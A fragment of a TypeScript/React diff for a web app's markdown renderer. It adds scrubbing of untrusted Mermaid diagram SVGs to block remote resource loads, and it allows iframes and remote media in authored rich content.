+ * The rendered SVG of an untrusted diagram, scrubbed before it goes into the page: no `<image>`, no reference to
612
+ * another document except a link's, no CSS that loads a resource. What reaches here passed `MERMAID_REMOTE_LOAD_RE`,
613
+ * so this is the second line, for whatever mermaid can still emit that the first one did not foresee. An SVG that
614
+ * does not parse is not drawn.
615
+ */
616
+ function scrubMermaidSvg(svg: string): string {
617
+ if (typeof DOMParser === 'undefined') return '';
618
+ const doc = new DOMParser().parseFromString(svg, 'image/svg+xml');
619
+ if (doc.getElementsByTagName('parsererror').length) return '';
620
+ for (const el of Array.from(doc.querySelectorAll('image, feImage'))) el.remove();
621
+ for (const el of Array.from(doc.querySelectorAll('*'))) {
622
+ for (const attr of Array.from(el.attributes)) {
623
+ const name = attr.name.toLowerCase();
624
+ if ((name === 'href' || name === 'xlink:href') && el.localName !== 'a' && !attr.value.trim().startsWith('#')) {
625
+ el.removeAttribute(attr.name);
626
+ } else if (name === 'style' || CSS_URL_ATTRIBUTES.has(name)) {
627
+ const cleaned = attr.value.replace(SVG_CSS_RESOURCE_DECL_RE, '');
628
+ if (cleaned !== attr.value) el.setAttribute(attr.name, cleaned);
629
+ }
630
+ }
631
+ }
632
+ for (const style of Array.from(doc.querySelectorAll('style'))) {
633
+ style.textContent = (style.textContent ?? '').replace(/@import[^;]*;?/gi, '').replace(SVG_CSS_RESOURCE_DECL_RE, '');
634
+ }
635
+ return new XMLSerializer().serializeToString(doc.documentElement);
636
+ }
637
+
638
+ /** The host a diagram's source names first, for its notice; `null` when it names none plainly. */
639
+ function firstMermaidUrl(chart: string, origins: AppOrigins): string | null {
640
+ for (const [candidate] of chart.matchAll(/(?:https?:)?\/\/[^\s"'`)<>\\]+/gi)) {
641
+ if (!isAppOriginUrl(candidate, origins)) return absoluteHttpUrl(candidate, origins);
642
+ }
643
+ return null;
644
+ }
645
+
646
+ /**
647
+ * On untrusted content (no `allowRemoteMedia` above) a diagram that can load from the network while it renders is not
648
+ * drawn: a notice stands in its place, like a markdown image (`ExternalMediaNotice`). Every other diagram renders
649
+ * without its config and with its SVG scrubbed: the source is model output on the chat path.
650
+ */
651
+ export const MermaidDiagram: React.FC<MermaidDiagramProps> = props => {
652
+ const media = useContext(MarkdownMediaOriginsContext);
653
+ const origins = media === undefined ? readAppOrigins() : media;
654
+ if (origins === null) return <MermaidDiagramView {...props} untrusted={false} />;
655
+ if (MERMAID_REMOTE_LOAD_RE.test(withoutMermaidConfig(props.chart))) {
656
+ return <ExternalMediaNotice url={firstMermaidUrl(props.chart, origins)} kind="diagram" />;
657
+ }
658
+ return <MermaidDiagramView {...props} untrusted />;
659
+ };
660
+
661
+ export const __withoutMermaidConfigForTest = withoutMermaidConfig;
662
+ export const __scrubMermaidSvgForTest = scrubMermaidSvg;
@@ -10,8 +10,8 @@
10
10
  * every hub/app call site compiles untouched. Deltas vs the old
11
11
  * implementation are the ones reviewed in the unification plan: the
12
12
  * sanitize stack + tag-escape pre-pass now apply to content surfaces
13
- * (`extraAllowedHtmlTags={['video','source']}` keeps authored video
14
- * working), the engine is memoized, and the dead light-mode branches are
13
+ * (`RICH_EXTRA_TAGS` and `allowRemoteMedia` keep authored video, embeds and
14
+ * CDN images working), the engine is memoized, and the dead light-mode branches are
15
15
  * gone.
16
16
  */
17
17
  import type React from 'react';
@@ -27,8 +27,12 @@ import { resolveTextSizeConfig } from '../text-size';
27
27
  import { buildRichEmbedOverrides } from './embed-overrides';
28
28
  import { processShortcodes } from './shortcodes';
29
29
 
30
- /** Raw-HTML tags authored content needs beyond the chat-safe baseline. */
31
- const RICH_EXTRA_TAGS = ['video', 'source'];
30
+ /**
31
+ * Raw-HTML tags authored content needs beyond the chat-safe baseline. Authored
32
+ * content is also the one surface that loads media from anywhere
33
+ * (`allowRemoteMedia`): posts carry CDN images and pasted embeds.
34
+ */
35
+ const RICH_EXTRA_TAGS = ['video', 'source', 'iframe'];
32
36
 
33
37
  /**
34
38
  * `/api/docs/resolve-link` is an untrusted wire boundary: `Response.json()`
@@ -58,11 +62,12 @@ const toResolveLinkResult = (body: unknown): ResolveLinkResult => {
58
62
  /**
59
63
  * The engine props this composition OWNS and therefore does not forward:
60
64
  * shortcode preprocessing, the embed component map, the `article` text
61
- * preset, the fetch link resolver, the rich tag allowlist, and streaming
65
+ * preset, the fetch link resolver, the rich tag allowlist, remote media, and streaming
62
66
  * (authored content is never streamed).
63
67
  */
64
68
  type RichOwnedEngineProps =
65
69
  | 'extraAllowedHtmlTags'
70
+ | 'allowRemoteMedia'
66
71
  | 'preprocessContent'
67
72
  | 'componentOverrides'
68
73
  | 'textSize'
@@ -150,6 +155,7 @@ const RichMarkdownInner: React.FC<InnerProps> = ({
150
155
  componentOverrides={componentOverrides}
151
156
  textSize="article"
152
157
  extraAllowedHtmlTags={RICH_EXTRA_TAGS}
158
+ allowRemoteMedia
153
159
  skeletonSections={skeletonSections}
154
160
  skeletonLines={skeletonLines}
155
161
  />